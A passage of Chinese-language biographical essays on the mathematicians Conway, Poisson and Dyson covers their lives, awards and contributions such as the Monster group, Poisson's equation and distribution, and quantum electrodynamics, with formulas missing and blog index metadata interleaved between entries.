Lusztig 1979 B. Vaughan 1981 R. Heath-Brown 1993 T. Wooley 2003 T. Bridgeland 2005 I. Gordon 2017 K. Costello 2023 T. Bridgeland, E. Gwynne 2025 A. Brochier, D. Jordan 1981 年 3 月，他当选为英国皇家学会会士。1983 年，他被任命为 Cambridge 大学数学教授。 大约在这一时期，盖因（Richard Kenneth Guy，1916-2020）对 Conway 有过这样一段描写：“Conway 极其邋遢。他在 Cambridge 大学纯数学与数理统计系的房间里，桌子上堆满了纸张、书籍、未回的信件、笔记、模型、图表、表格、示意图、喝剩的咖啡杯，以及各种各样的杂物。几乎占满了整个房间，椅子也都被占满了，以至于进屋都很难走动，更别说坐下了。如果你够得着黑板，会发现上面摆着各种颜色的粉笔，但却没有地方可以写字。他在学院的房间也差不多是这副模样。尽管他记忆力惊人，却常常找不到几天前他发现的重要成果 —— 那张纸，而这个成果却没有被记录在其他任何地方。” 1986 年，Conway 离开 Cambridge，接受美国 Princeton 大学 John von Neumann Chair of Mathematics 的任命；在那里，他的大量工作集中于几何，尤其是晶格对称性的研究。 1987 年，Conway 获得伦敦数学学会 Pólya Prize。 Pólya Prize 部分获奖者 获奖时间 获奖人 获奖时间 获奖人 获奖时间 获奖人 1987 J.H. Conway 1988 C.T.C. Wall 1991 I.G. Macdonald 1999 S. Donaldson 2002 N. Hitchin 2006 R. Swinnerton-Dyer 2009 R. Heath-Brown 2023 F. Kirwan 2024 陈贵强 此后，他又获得 Northwestern 大学颁发的 1997-98 年 Frederic Esser Nemmers Prize in Mathematics 。该奖授予那些通过重大新知识贡献、在本学科取得杰出成就的数学家。 他还获得了美国数学学会 2000 年 Leroy P. Steele Prize for Mathematical Exposition 、Dickinson College 2001 年 Joseph Priestley Award ，以及 Liverpool 大学 2001 年授予的荣誉理学博士学位。 贡献一、Leech 晶格（Leech Lattice）与 Conway 群Conway 在纯研究意义上最早的重大成就，来自 Leech 晶格。 Leech 晶格 是 中一个极特殊的偶自对偶格，与最佳球堆积、Golay 码以及 24 维欧氏几何的极端对称性密切相关。 1968 年，他发表短文《阶为 8,315,553,613,086,720,000 的完美群和散在单群》（A perfect group of order 8,315,553,613,086,720,000 and the sporadic simple groups）。 次年又发表更完整的《阶为 8,315,553,613,086,720,000 的群》（A group of order 8,315,553,613,086,720,000 ）与《Leech 晶格的刻画》（ A characterisation of Leech's lattice ）。 这些论文的核心贡献，是从 的结构中识别出新的散在单群（sporadic simple groups），后被称为 、 、 等 Conway groups —— 阶分别为 他并不是 “另外找到了几个单群”，而是证明了一个 24 维几何对象的对称性本身就蕴含着新的有限单群。 这项工作的影响远大于单篇论文本身。Leech 晶格后来成为有限群分类、球堆积和编码理论之间的交汇点，而 Conway 本人又与 Curtis、Norton、Parker、Wilson 等人合作，编成《有限群图谱》（ Atlas of finite groups ，1985），把大量有限单群的角色表、局部结构与表示信息整理成标准参考书。 这部书耗时 \"the better part of fifteen years”，已成为有限单群分类理论中的一个基本组成部分。 二、魔群月光猜想（monstrous moonshine conjecture）1978 年，John McKay 发现，归一化的 - 不变量的 Fourier 展开前几项，可表示成魔群（monster group） 的不可约表示维数 的线性组合，并且系数是较小的非负整数。 1979 年，Conway 与 Simon Norton 发表长文《魔群月光》（Monstrous moonshine）。这篇文章提出的，不是一个单一定理，而是一整组看似不可思议的对应：魔群的不可约表示维数，似乎与模函数的 Fourier 系数发生系统联系。 级数展开为（ ）： 考虑 的非平凡不可约表示的维数： 这个 - 不变量为（ ） 而魔群的最小非平凡不可约表示维数是 。于是 更高项也有类似分解，例如 Conway 和 Norton 于是计算了这些分次迹的低阶项，这些级数后来被称为 McKay–Thompson 级数 。基于这些计算，Conway 和 Norton 列出了一张 Hauptmodul 的表，并猜想存在一个无限维分次表示，其上魔群 的分次迹 恰好就是他们表中那些函数的展开。 从后见之明看，这篇文章的重要性在于它把原本几乎互不相干的三个方向 —— 散在群（sporadic groups）、模形式、以及后来发展出来的顶点算子代数 —— 接到了一起。 博赫兹（Richard Ewen Borcherds，1959- ）在 1992 年证明魔群月光猜想时，正是沿着 Conway 与 Norton 开出的路线前进，并因此获得 1998 年的 Fields 奖。 Conway 在这里再次表现出一种少见的判断：他很容易从数字模式里看到真正的大结构，而不是把它们当作偶然巧合。 三、组合博弈论与超现实数Conway 对数学思想影响最深的工作之一，是把组合博弈当作代数对象来处理。在《论数字与游戏》（On numbers and games，1976）中，他把一个局面记为 其中 是 Left 可以走到的所有局面， 是 Right 可以走到的所有局面。 这样写的意义，不在于形式漂亮，而在于它允许对局面做加法、取负、比较大小，并逐步看出某些局面 “就是数”。 最初的例子很简单： 沿着这一递归继续下去，就得到后来称为超现实数（surreal numbers）的体系。它不仅包含通常实数，也包含序数、无穷大与无穷小，因此在形式上远比传统实数系更大。 多篇悼文都提到，Conway 本人最看重的发现，正是这套数系。 这项工作的意义并不只是 “构造出一种奇特的新数”。更重要的是，它把博弈和数系放进了同一个递归框架里：某些局面之所以是数，不是因为人先规定它们是数，而是因为它们在所有运算关系中都表现得像数。 随后与伯勒坎普（Elwyn Ralph Berlekamp，1940-2019）、盖因（Richard Kenneth Guy，1916-2020）著的《数学博弈的制胜之道》（Winning ways for your mathematical plays）这一观点扩展成了广义的组合博弈论（combinatorial game theory）。今天所谓组合博弈论的现代面貌，基本就是从 Conway 这里开始的。 四、生命游戏（Game of life）如果说超现实数（surreal numbers）代表 Conway 最深的一条想法，那么生命游戏（game of life）则代表他最广泛传播的一项创造。 Gardner 在 1970 年 10 月《科学美国人》（Scientific American）的专栏中介绍它以后，这个二维元胞自动机迅速流行开来。 它的规则极简单：格点只有生、死两种状态，下一步状态完全由附近少数邻居决定；但正是这种极简单的局部规则，产生了滑翔机、振荡子、稳定图形、复制构型以及极其复杂的长期行为。 Gardner 评价说：“Conway 开辟了一个全新的数学研究领域”。 如果把这句话压低一点来说，那么至少可以确认：Life 使大量人第一次直观看到，复杂行为可以由极其简单的离散规则生成，而这种想法后来在计算理论、复杂系统和大众程序设计文化里都留下了痕迹。 需要补充的是，Conway 自己一直不愿意被 Life 完全代表。 五、纽结理论：Conway notation 与 Conway polynomialConway 在纽结理论（knot theory）中的工作，主要集中在 1970 年的论文《纽结和链环的枚举及其一些代数性质》（An enumeration of knots and links, and some of their algebraic properties）。这篇文章最重要的贡献之一，是引入后来称为 Conway notation 的记号体系，并系统使用 tangle 分解来组织纽结与链环（link）。它的优点很实际：复杂图形不再只能靠画图逐一辨认，而可以被较紧凑地编码、比较和枚举。 这一点与 Conway 的整体风格完全一致 —— 先找一个正确的语言，再让对象在这个语言里变得可计算。 与此相关的还有 Conway 多项式（Conway polynomial）。它可以用线团关系（skein relation）定义： 这里 、 、 表示只在一个局部交叉处不同的三条链环，而 表示任意的无扭结（unknot）。 这个关系的重要性在于，它把纽结不变量的计算变成了局部递推，而不是全局图形比较。 Conway polynomial 与 Alexander polynomial 在适当代换下等价；但 Conway 的表述方式更便于计算，也更适合与 skein 理论结合。后来许多纽结多项式理论都沿着这条局部关系的思路展开。 六、二次型与 fifteen theoremConway 的数论工作中最著名的是后来所谓 Conway–Schneeberger 15 theorem。设 是一个正定整二次型，其中 是整系数对称矩阵。15 theorem 说：如果 能表示所有不超过 15 的正整数，那么 就能表示所有正整数。 换言之，“普遍表示” 这样一个表面上无限的性质，竟可以通过有限、而且很小的一组测试数来判断。 Conway 和 Will Schneeberger 选择不发表他们的证明，因为巴尔加瓦（Manul Bhargava，1974- ）找到了一个更简单的证明，并于 2000 年发表。 Conway 对整二次型（integral quadratic form）提出了一个类似的猜想，其中常数 15 被 290 取代。 Bhargava 和 Jonathan Hanke 在 2011 年发表了一篇预印本（泛二次型和 290 定理）《Universal quadratic forms and the 290-theorem》，其中包含了这个 “290 猜想” 的证明。 七、几何、格与量子基础Conway 晚年的另一条主线，是几何与离散结构的结合。与斯隆（James Alexander Sloane，1939- ）合著的《球堆积、格和群》（Sphere Packings, Lattices and Groups）长期是这一领域的标准参考书之一，它把球堆积、Leech 格、 格以及相关群论放进同一部书里处理。 对 Conway 而言，这不是 “把旧工作汇编成书”，而是再次表明他始终把几何、格与有限对称性看成一个连续体。 2006 年，他与科亨（Simon Bernhard Kochen，1934- ）发表《自由意志定理》（The Free Will Theorem）。这篇论文的表述方式很像 Conway 本人：标题半带挑衅，但内容是严肃的。其摘要说得很明确：如果实验者的选择不是可得信息的函数，那么在若干自然物理假设下，粒子的响应同样不能是先前信息的函数。无论人是否接受其哲学命名，"},{"title":"","date":"2026-05-23T01:07:00.000Z","updated":"2026-05-23T01:10:00.000Z","comments":true,"path":"notes/person/30.html","permalink":"https://blog.mhuig.top/notes/person/30","excerpt":"","text":"Poisson Poisson 生平西蒙・丹尼斯・泊松（Siméon-Denis Poisson，1781-1840）于 1781 年出生在法国 Paris 以南约 80 公里的小城皮蒂维耶（Pithiviers）。法国大革命爆发时，Poisson 只有八岁。Poisson 的家庭并不属于传统学术精英阶层；他的父亲是一名退役军人，后来担任基层行政职务。 法国大革命之后，法国教育制度发生变化，像 Poisson 这样出身的学生获得了进入新式高等教育体系的机会。 Poisson 幼年时身体较弱。他的父亲对他的早期教育有很大影响，曾花费不少时间教他读书写字。起初，Poisson 的父亲希望他从事医学，因为医学职业相对稳定。Poisson 的一位叔父是 Fontainebleau（枫丹白露地区）的外科医生，于是 Poisson 曾被送到那里做外科学徒。 但他很快发现自己并不适合外科工作：一方面，他的手部协调能力较差，难以完成外科所需的精细操作；另一方面，他本人也对医学缺乏兴趣。 1796 年，Poisson 再次被送到 Fontainebleau，这一次进入当地的 École Centrale（中央学校）学习。在这里，他很快表现出突出的数学才能。1794 年，École Polytechnique（巴黎综合理工学院）的前身 École centrale des travaux publics（公共工程中央学校）成立，其目标是培养具有扎实科学基础的工程人才。 入学需要通过竞争性考试。在老师的鼓励下，Poisson 参加了 1798 年的入学考试，并取得第一名。 Poisson 进入 École Polytechnique 时，学校的教师和考官包括拉格朗日（Joseph Louis Lagrange，1736-1813）、蒙日（Gaspard Monge，1746-1818）、拉普拉斯（Pierre-Simon Laplace，1749-1827），毕奥（Jean Baptiste Biot，1774-1862）和德・富克鲁瓦（Antoine-François de Fourcroy，1755-1809）等当时法国最重要的科学人物。这样的环境为 Poisson 早期进入数学研究提供了重要条件。 Laplace 和 Lagrange 很快注意到他的数学才能，后来也长期支持他的学术发展。 Poisson 在学生时期已经开始发表论文。他 18 岁时写了一篇关于有限差分（finite differences）的论文，引起了勒让德（Adrien-Marie Legendre，1752-1833）的注意。 他还写过关于代数方程消元（elimination in algebraic equations）和 Bézout 定理（Bézout's theorem）的文章。 Bézout 定理（《Théorie générale des équations algébriques》，1779 年）大致说明，在适当条件下，两条代数曲线交点的数目可以用它们的次数相乘来计算。 Poisson 对这一问题给出了新的证明，这显示出他在代数计算和分析推理方面的能力。 不过，Poisson 也有明显的弱点。他几乎无法熟练画图，因此很难在 descriptive geometry（画法几何）这门课程中取得好成绩。由于 Gaspard Monge 的影响，descriptive geometry 在 École Polytechnique 中占有重要地位。如果 Poisson 准备进入工程或公共服务系统，这本来会成为严重障碍。 但对一个准备从事纯科学研究的人来说，绘图要求可以被豁免（也有说法是因为他的毕业论文太过出色）。因此，这一缺陷并没有阻止他的学术发展。 完成学业后，Poisson 留在 École Polytechnique 任职。1802 年，他开始临时代替傅里叶（Jean-Baptiste Joseph Fourier，1768-1830）承担教学任务。 1806 年，Poisson 年仅 25 岁时被任命为 École Polytechnique 的数学教授，正式接替 Fourier 的职位。 1808 年，他成为经度管理局（Bureau des Longitudes）的天文学家。1809 年，Napoleon 改组 Université Impériale（帝国大学），Poisson 被任命为第一位力学教授。 在 1808 及 1809 年他在科学院发表了三篇重要文章，其中《关于行星平均运动的长期不均等》（Mémoire sur les inégalités séculaires des moyens mouvements des planètes）是 Laplace 和 Lagrange 想要完成的关于行星扰动的问题。Poisson 的方法是用级数展开得到渐近解。 1809 年，Poisson 用 Lagrange 的任意常数变分法写了两篇文章《关于地球的自转运动》（Sur le mouvement de rotation de la terre）和《论力学问题中任意常数的变分》（Sur la variation des constantes arbitraires dans les questions de mécanique）。 1811 年，Poisson 将他在巴黎综合理工学院的讲义写成两本书《力学专论》（Traité de mécanique）。 1812 年，他进入 Académie des Sciences（法国科学院）的物理组。在 Académie des Sciences，Poisson 不只是研究者，也长期参与论文审查、报告撰写和成员遴选。他在法国科学共同体中有较大影响，但这种影响有时也引发争议。 较有代表性的事件是他与 Fourier 关于热传导理论优先权的争论。Poisson 曾较早读到 Fourier 提交给 Académie des Sciences 的热传导手稿，并在 1808 年发表了对其理论的详细介绍。 此后，Poisson 自己也发表了多篇关于三角级数（trigonometric series）和热理论的文章，而 Fourier 的正式著作《热的解析理论》（Théorie analytique de la chaleur）到 1822 年才出版。 两人的争论反映出 19 世纪初学术发表、评审与优先权之间的关系尚未形成今天这样明确的规范。 从 1820 年起直到去世，Poisson 还参与法国公共教育的组织工作。1822 年后，他担任皇家公共教育委员会（Conseil royal de l’instruction publique）的司库。 他主张在中学和大学层面维持数学教育的地位，同时也希望数学与物理能够并行发展。这一立场与他的研究风格一致：他经常从物理问题出发，使用分析方法建立方程和计算公式。 伽罗瓦（Évariste Galois，1811-1832）在被巴黎高等师范学校开除后重返数学研究，随后 Poisson 请他提交关于方程论（theory of equations）的研究成果；Galois 于 1831 年 1 月 17 日提交了这份手稿。 同年 7 月初，Poisson 认为 Galois 的工作 “令人费解” 且 “论证既不够清晰，也未得到充分展开，致使我们无法对其严谨性做出评判”，但也鼓励他 “因此，我们建议作者将其全部研究成果公之于众，以便学界形成最终定论”。 尽管 Poisson 的评审报告早在 Galois 于 7 月 14 日被捕之前便已完成，但直到 10 月才辗转送达狱中的 Galois 手中。鉴于 Galois 当时的性格与处境，他当即决定放弃通过科学院发表论文的途径，转而委托友人谢瓦利埃（Auguste Chevalier）以私人名义出版。 然而，Galois 并未对 Poisson 的建议置之不理。身陷囹圄之际，他便着手整理所有的数学手稿，并持续对其中的思想进行打磨与完善，直至 1832 年 4 月 29 日获释。 Poisson 于 1840 年去世，享年 58 岁。他成年后主要在 Paris 活动，几乎不旅行。但他的论文和著作在德国、英国和俄国等地广泛传播，一些著作被翻译，文章也被海外期刊摘录或介绍。 他在国外的名气比他在法国还要大。他喜欢说：“人生只有两样美好的事情：发现数学和教数学（La vie n'est bonne qu'à deux choses: découvrir les mathématiques et enseigner les mathématiques）。” Poisson 一生发表了三百多篇文章。整体来看，Poisson 的学术活动集中在数学物理、力学、概率论、势论和分析等方向。 他的一些物理解释后来被修正或否定，但他建立的方程、公式和计算方法在数学中留下了持续影响。 贡献一、Poisson 方程（Poisson equation）与势论（potential theory）1811 年，法国科学院物理学部的马吕斯（Étienne Louis Malus，1775-1812）身体很不好，数学教授们希望 Poisson 代替这个职位。于是提出一个关于电的大奖，希望他得到奖金从而坐上这个位置。 他们出的题目是：“通过计算确定并通过实验确认电在孤立或者处于彼此电场的带电体表面上的分布方式 —— 例如在彼此存在的两个带电球体的表面上。为了简化问题，评审委员会只要求检查每个表面上传播的电始终保持相同类型的情况。” 1812 年 2 月 24 日 Malus 去世，Poisson在 3 月 9 日向法国科学院递交了他的解决方案的第一部分，论文题目是《关于导电体表面的电分布》（Mémoire sur la distribution del'électricité à la surface des corps conducteurs）。他因此得到了 Malus 留下的教授职位，科学院的物理方向从此也从实验走向理论，这个方向正是 Laplace 所希望的。 Poisson 在 1811-1813 年间研究静电学（electrostatics），尝试用分析方法确定带电体上的电荷分布。 1823 年在《关于运动磁性的理论》（Mémoire sur la théorie du magnétisme en mouvement）中，他写出了势函数在带电体内部、外部以及表面附近满足的方程。这里的 “势函数（potential function）” 可以理解为一个标量函数：知道它之后，可以通过求导得到相应的力场或电场。 在三维空间中，若势函数记为 ，常用的 Laplace 算子定义为 当区域内没有电荷时，势函数通常满足 Laplace 方程 当区域内存在电荷密度时，方程变成 Poisson 方程 其中 表示由电荷密度或其他源项决定的函数。在静电学的某些单位制中，常写作 其中 是电荷密度。常数和符号会随单位制与势函数定义而变化，但关键思想是：场的分布可以转化为一个偏微分方程（partial differential equation）。 这个工作在当时重要，是因为它把静电和磁性的物理问题转化成可以计算和分析的方程问题。可以把 Poisson 方程理解为 “已知源项 ，求一个函数 ，使它的二阶导数组合等于 ”。 这类问题后来成为边值问题（boundary value problem）和位势论（potential theory）的核心内容，也影响了格林（George Green，1793-1841）等人的研究。 二、Poisson 比（Poisson's ratio）与弹性理论Poisson 在弹性理论中引入了后来被称为 Poisson 比（Poisson's ratio） 的无量纲量。考虑一根材料棒沿长度方向被拉伸。若长度从 变为 ，则纵向应变（longitudinal strain）为： 同时，材料的横向宽度通常会改变。 若横向长度从 变为 ，则横向应变（transverse strain）为 Poisson 比定义为 这里的负号是为了使常见材料在拉伸时 为正：材料被拉长时，横向通常变窄，所以 ，而 。 Poisson 最初根据分子相互作用模型认为这个比值应当是 ，并引用了当时若干实验结果。 后来的实验表明，不同材料的 Poisson 比并不相同。在常见的各向同性线弹性模型（isotropic linear elasticity）中，稳定性条件给出大致范围 这个概念的重要性在于，它把 “材料受力后形状怎样改变” 用一个简单的数表达出来，Poisson 比与拉伸、压缩、弯曲和体积变化都有关。 20 世纪后期以后，负 Poisson 比材料的研究使这个概念在复合材料、医学植入物和力学设计中重新受到关注。 三、Poisson 光斑（Poisson’s spot）与光学中的计算预言Poisson 光斑不是一个成功的 Poisson 理论，而是一个具有历史意义的计算结果。1817 年，法国科学院评审关于光的衍射（diffraction）的大奖论文，当时 Poisson 是评委之一。 工程师菲涅耳（Augustin-Jean Fresnel，1788-1827）提交的工作基于波动理论（wave theory），而 Poisson 倾向于认为光学现象可以由分子相互作用或粒子式解释说明。 作为评审委员，Poisson 从 Fresnel 的公式推出一个看似反直觉的结论：如果用点光源照射一个圆盘，在圆盘阴影中心应出现亮点。Poisson 原本希望这个结论能显示 Fresnel 理论的不合理性。 评委会主席阿拉戈（Dominique-François-Jean Arago，1786-1853）精心设计了一个实验，确认了阴影中心确实出现了亮点。Arago 后来发现，早在 1720 年左右就有人（Joseph-Nicolas Delisle 和 Giacomo Filippo Maraldi）发现这一现象。 它的重要性在于：数学推导给出了一个具体、可检验的实验预言，而实验结果反过来支持了 Fresnel 的波动理论。人们为了纪念这一极具戏剧性事实，后来就把这一现象称为 Poisson 光斑。 四、Poisson 分布（Poisson distribution）与稀有事件计数Poisson 的名字在概率论中最常见的出现，是 Poisson 分布（Poisson distribution）。若随机变量（random variable） 表示某一固定时间或空间范围内事件发生的次数，并且事件平均发生次数为 ，则 Poisson 分布写为 这个分布的一个特点是 也就是说，它的期望（mean）和方差（variance）相同。 对本科生来说，一个常见理解方式是把它看作二项分布（binomial distribution）的极限：若有 次机会，每次事件发生概率为 ，当 很大而单次概率很小时，固定次数 的概率满足 因此，Poisson 分布适合描述 “机会很多、单次概率很小、总体平均次数有限” 的计数问题。例如在固定时间内记录某类事件发生次数，或者在固定区域内统计某类点的数量，都可能出现这种模型。 右侧补充说明： 其中 ，则称 服从泊松分布，简记作 。 Poisson 并不是第一个研究概率问题的人；帕斯卡（Blaise Pascal，1623-1662）、惠更斯（Christiaan Huygens，1629-1695）、棣莫弗（Abraham de Moivre，1667-1754）、德・布丰（Georges-Louis Leclerc de Buffon，1707-1788）和 Laplace 等都曾推动概率论发展。 但 Poisson 分布的现代形式首次出现在 Poisson 1829 年关于新生儿性别比例的论文中，并在他 1837 年《刑事和民事案件判决中的概率研究》（Recherches sur la probabilité des jugements en matière criminelle et matière civile）中再次出现。 这个工作的重要性在于，它把概率论应用到大量事件的统计规律上，推动了概率方法进入社会统计和自然现象建模。 五、Poisson 求和公式（Poisson summation formula）与 Fourier 分析Poisson 求和公式（Poisson summation formula）影响了数学达二百多年之久，Euler 大概已经知道它的雏形。 Poisson 求和公式，影响到十九世纪中叶 Eisenstein 及 Riemann 对 函数所满足的泛函方程（functional equation），也影响到二十世纪的迹公式（trace formula）的发展（著名的 Selberg 迹公式（Selberg trace formula）属于此类）。 它的现代形式是 其中 是 的 Fourier 变换（Fourier transform），在常用约定下定义为 这个公式需要函数满足一定的光滑性和衰减条件；在非严格表述中，可以理解为：一个函数在所有整数点上的取值总和，与它的 Fourier 变换在所有整数点上的取值总和相等。 Poisson 在 1823 年的工作中出现的是一个与 Gaussian 函数（Gaussian function）和 theta 函数（theta function）有关的特例，而现代一般形式是在后来数学传统中逐渐形成并归到 Poisson 名下的。 这个公式的重要性在于，它连接了离散求和与连续 Fourier 分析。后来它在 theta 函数、格点问题（lattice problems）、调和分析、信号处理和编码理论中都有应用。 2022 年获得 Fields 奖的乌克兰女数学家维亚佐夫斯卡（Maryna Sergiivna Viazovska , 1984- ），在研究球填充（sphere packing）的时候也是要用到这个公式。 六、Poisson 核（Poisson kernel）与 Dirichlet 问题Poisson 核（Poisson kernel）常出现在调和函数的边值问题中。若 在平面区域内满足 则称 为调和函数。 Dirichlet 问题（Dirichlet problem）是指：已知区域边界上的函数值，求区域内部满足 的函数。 在单位圆盘中，令 ，Poisson 核定义为 如果边界圆周上的函数为 ，则圆盘内部的调和函数可以写为 Poisson 积分公式（Poisson integral formula） 这个公式的直观含义是：内部一点的值不是任意决定的，而是边界值的加权平均；权重由 Poisson 核给出，并且离内部点 “方向更近” 的边界值权重更大。 Poisson 引入相关核函数时，主要是在研究三角级数、Fourier 级数的收敛以及若干物理问题，并不是以现代形式系统求解一般 Dirichlet 问题。 后来，狄利克雷（Peter Gustav Lejeune Dirichlet , 1805-1859）、纽曼（Carl Gottfried Neumann , 1832-1925）和施瓦兹（Karl Hermann Amandus Schwarz , 1843-1921）等人的工作把这类公式与势论和边值问题更明确地联系起来。 七、Poisson 括号（Poisson bracket）与力学形式化Poisson 括号（Poisson bracket）起源于天体力学和变分常数方法（variation of arbitrary constants）。 用现代 Hamilton 力学的记号，设系统有广义坐标（generalized coordinates） 和相应动量（momenta） 。这些变量组成相空间（phase space）。 若 和 是相空间上的两个可微函数，它们的 Poisson 括号定义为 如果 是 Hamiltonian，也就是系统总能量的函数形式，那么 Hamilton 方程（Hamilton's equations）为 利用 Poisson 括号，一个不显含时间的物理量 沿运动轨道的变化可以写成 如果 ，那么 在运动中保持不变，称为运动积分（integral of motion）或守恒量（conserved quantity）。 Poisson 证明过与此相关的定理：在适当条件下，两个运动积分的 Poisson 括号仍然是运动积分。后来雅可比（Carl Gustav Jacob Jacobi , 1804-1851）注意到这一结果的重要性，并把它与更一般的代数结构联系起来。 Poisson 括号的重要性在于，它把力学方程、守恒量和坐标变换组织到统一的计算规则中。它满足反对称性（antisymmetry） 并满足 Jacobi 恒等式（Jacobi identity） 这些性质使它后来进入 Lie 代数、辛几何、Poisson 几何和理论物理。 需要区分的是，Poisson 本人的工作属于 19 世纪初的分析力学语境；Poisson 代数、Poisson 流形（由利希内罗维奇（André Lichnerowicz , 1915-1998）在 1977 年引入）等现代概念是后来的发展。"},{"title":"","date":"2026-05-23T02:07:00.000Z","updated":"2026-05-23T02:10:00.000Z","comments":true,"path":"notes/person/31.html","permalink":"https://blog.mhuig.top/notes/person/31","excerpt":"","text":"Dyson Dyson 生平弗里曼・约翰・戴森（Freeman John Dyson，1923-2020）的父母是米尔德里德・露西・阿特基（Mildred Lucy Atkey）和乔治・戴森（George Dyson，1883-1964）。George 既是一位极有才华的英国音乐教师，也是一位音乐写作者。Dyson 出生时，George 正在 Berkshire 的 Wellington College 教授音乐。更早些时候，他曾在 Marlborough College 任教，在那里与 Mildred 的兄长 Freeman Atkey 是同事兼挚友。 Freeman Atkey 在第一次世界大战中阵亡后，George 和 Mildred 都深受打击。这件事使两人关系更为密切，他们于 1916 年结婚。长女 Alice 出生于 1919 年，第二个孩子便是 Freeman Dyson；他被取名为 Freeman，正是为了纪念 Dyson 的舅舅 Freeman Atkey。 Dyson 出生后不久，他的父亲接受了 Winchester College 音乐主任的职位，因此 Dyson 的幼年是在 Winchester 度过的。与父亲相比，他和母亲更亲近，因为母亲性格更为严肃，而且才华出众、读书极多。家境相当宽裕，家里雇有厨师、园丁、女仆和保姆。 Dyson 从五岁起就在 Miss Scott 开办的一所走读学校上学。那时他已表现出在阅读、写作和计算方面的异常天赋。 九岁起，他成为 Twyford College 的寄宿生；这所学校离他家只有三英里。尽管学校离家如此之近，Dyson 也只有在学校假期才回家，而他的父母从不去学校看望他。 1936 年，Dyson 在 Winchester College 的奖学金考试中名列第一；那时他才十二岁。这个第一名显示出极大的潜力，也使他第一次真正意识到自己有多么出色。他在各门课程中都是杰出学生，而在数学方面尤其卓越。 在那以前，他一直显得是个非常不同寻常的学生，与同学们大不一样；但现在，他赢得了同学们的尊重，而他的父母也对儿子的成功惊叹不已。 Winchester College 对 Dyson 非常重要，因为它给了他极其优秀的数学教育。他不仅遇到了全英国最优秀的数学教师之一杜雷尔（Clement Vavasor Durell , 1882-1968），而且还与莱特希尔（Michael James Lighthill , 1924-1998，英国应用数学家）同班，两人一起学习高等数学，例如约当（Marie Ennemond Camille Jordan , 1838-1922）的《分析教程》（Cours d'Analyse）。外语对 Dyson 来说学得很容易。 1938 年，当他开始对数论感兴趣时，他决定去读维诺格拉多夫（Ivan Matveevich Vinogradov , 1891-1983）的《数论导论》（An introduction to the theory of numbers）。这本书当时只有俄文版，但这似乎并没有造成什么困难；他自己学会了俄语，并把这本书译成英文。 第二年，他又读了爱丁顿（Arthur Stanley Eddington , 1882-1944）的《相对论的数学理论》（The mathematical theory of relativity）。 1941 年，Dyson 获得 Cambridge 大学 Trinity College 的奖学金。第一年里，他随狄拉克（Paul Adrien Maurice Dirac，1902-1984）学习物理，随哈代（Godfrey Harold Hardy，1877-1947）和贝西科维奇（Abram Samoilovitch Besicovitch，1891-1970）学习纯数学。在 Cambridge 期间，他写了几篇论文，但都直到 1944 年才发表。 第一篇写于 1941 年、发表于 1944 年，题为《每个方程都有一个根的证明》（A proof that every equation has a root）。Dyson 写道：…… 关于 “每个方程都有一个根” 这一命题，已经有那么多种证明了，以致于再给出一个证明几乎像是一种罪过。不过，我可以为自己辩护两点：第一，我将给出的证明很可能并不是新的；第二，如果它确实是新的，那么它相对于其他证明有一个优点，那就是它只使用最基本的论证。 Dyson 在 1943 年发表了 3 篇论文： 《组合分析里的三个恒等式》（Three identities in combinatory analysis） 《关于连分数部分商的数量级》（On the order of magnitude of the partial quotients of a continued fraction） 《关于峰度的一个注记》（A note on kurtosis） 当然，Dyson 在 Cambridge 的这些年，正值第二次世界大战期间，因此许多学者都已离校从事战争工作。虽然这段时期对 Dyson 来说并不特别愉快，但他也有一两位好友。 为了调剂生活，他和朋友们会在夜里去攀爬 Cambridge 城里各处建筑物。1943 年，尽管 Dyson 先前曾持和平主义信念，他还是开始在英国轰炸机司令部担任科学家，从事提高作战任务效率的工作。他在这项工作上投入了大量时间，但仍设法继续自己的数学研究，并读了一些物理学书籍。 战争结束后，Dyson 在帝国理工学院担任 demonstrator。就在这一时期，他写出了有影响力的论文《论连分数中的同时 Diophantine 逼近》（On simultaneous Diophantine approximations on continued fractions）。 1946 年，他以 Trinity College 研究员身份回到 Cambridge，此前他已写成一篇学位论文（但是并未正式取得博士学位），并由此发表了三篇论文： 《关于整数集密度的一个定理》（A theorem on the densities of sets of integers , 1945） 《代数拓扑中的一个定理》（A theorem in algebraic topology , 1948） 《四个非齐次线性形式之积》（On the product of four non-homogeneous linear forms , 1948） 然而回到 Cambridge 以后，他开始从事理论物理研究，并且此后理论物理成为他的主要研究方向；不过，正如下面会提到的，他仍然继续发表纯数学论文。这一时期，有人建议他考虑去美国发展。在佩尔斯（Rudolf Ernst Peierls，1907-1995）等人的建议下，他决定申请去 Cornell 跟随贝特（Hans Albrecht Eduard Bethe，1906-2005）工作。 泰勒（Geoffrey Ingram Taylor，1886-1975）在给 Bethe 的推荐信中写道：你应当已经收到了 Freeman Dyson 先生申请去你那里做研究生的请求。我希望你会接受他。虽然他只有 23 岁，但在我看来，他是英国最好的数学家。 Dyson 与 Bethe 密切合作，并且像 Bethe 的其他学生一样，对他深为敬佩。 1948 年，Dyson 在《Physical Review》上发表了《能级的电磁位移》（The electromagnetic shift of energy levels），这是他发表的第一篇物理论文。这篇论文既显示出他惊人的计算能力，也显示出深刻的物理理解。 很明显，在这一时期，Dyson 已被视为一位异常有天赋、能力极强的青年学者。 Bethe 说服奥本海默（Julius Robert Oppenheimer，1904-1967）接收 Dyson 到普林斯顿高等研究院（IAS）工作。 他在推荐信中写道：Dyson 先生在能力和成就上都极不寻常。我可以毫无保留地说，他是我所见过、也是我所带过的学生中最优秀的一个。 从那时起，Dyson 的工作集中在量子电动力学上。也正是在这一时期，发生了一件使 Dyson 十分高兴的事：日本的朝永振一郎（Shinichiro Tomonaga，1906-1979）在相对论性量子场论方面发展出了重要工作。 让 Dyson 感到高兴的不只是这项工作本身的重要性，还因为它来自一个出乎意料的地方，并表明在这一领域中产出重要研究的并不只有美国。Tomonaga 的工作与施温格（Julian Seymour Schwinger，1918-1994）的相比，更为清楚、也更为简洁。 大约在 1948 年春天，Dyson 与费恩曼（Richard Phillips Feynman，1918-1988）成为朋友，Dyson 也开始熟悉 Feynman 的方法。两人的共同特点是惊人的计算能力。 在一次前往 Princeton 的长途汽车旅途中，Dyson 想通了一个困扰了他整整一年的重大问题。 他终于看出，如何证明 Schwinger 与 Feynman 的理论实际上是等价的。这些想法最终成为他那篇极为重要的论文《Tomonaga、Schwinger 与 Feynman 的辐射理论》（The radiation theories of Tomonaga, Schwinger, and Feynman）的基础，该文发表于 1949 年的《Physical Review》。 Corben 在一篇书评中写道：文中对 Tomonaga—Schwinger 量子电动力学作了讨论，并恰当地强调了其中所涉及的物理思想，同时确立了它与 Feynman 那套当时大多尚未发表的理论之间的等价性。 Dyson 于 1948 年秋到达 Princeton。他始终没能真正对 